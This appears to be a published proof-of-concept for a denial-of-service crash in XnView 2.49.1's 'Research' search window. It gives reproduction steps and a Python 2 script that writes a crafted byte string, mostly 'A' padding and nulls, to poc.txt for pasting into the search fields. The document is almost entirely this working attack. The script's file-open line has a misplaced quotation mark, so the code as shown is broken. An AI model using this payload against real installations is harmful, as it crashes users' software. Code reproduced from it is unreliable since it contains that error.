XnView 2.49.1 - (Research) Denial of Service Exploit

# Exploit Title: XnView 2.49.1 - 'Research' Denial of Service (PoC)
# Exploit Author : ZwX
# Vendor Homepage :  http://www.xnview.com
# Link Software : https://www.xnview.com/fr/xnview/#downloads
# Tested on OS: Windows 7

'''
Proof of Concept (PoC):
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1.Download and install XnView
2.Open the XnView for Windows tools 
3.Run the python operating script that will create a file (poc.txt)
4.Run the software " Tools -> Research -> A search window opens "
5.Copy and paste the characters in the file (poc.txt)
6.Paste the characters in the field 'File Name' and  'In' click on 'Research'
7.XnView for Windows Crashed
'''

#!/usr/bin/python

DoS=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x40\x4f\x73\x61\x6e\x64\x61\x4d\x61\x6c\x69\x74\x68\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x74\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41")

poc = DoS
file = open("poc.txt,"w")
file.write(poc)
file.close()

print "POC Created by ZwX"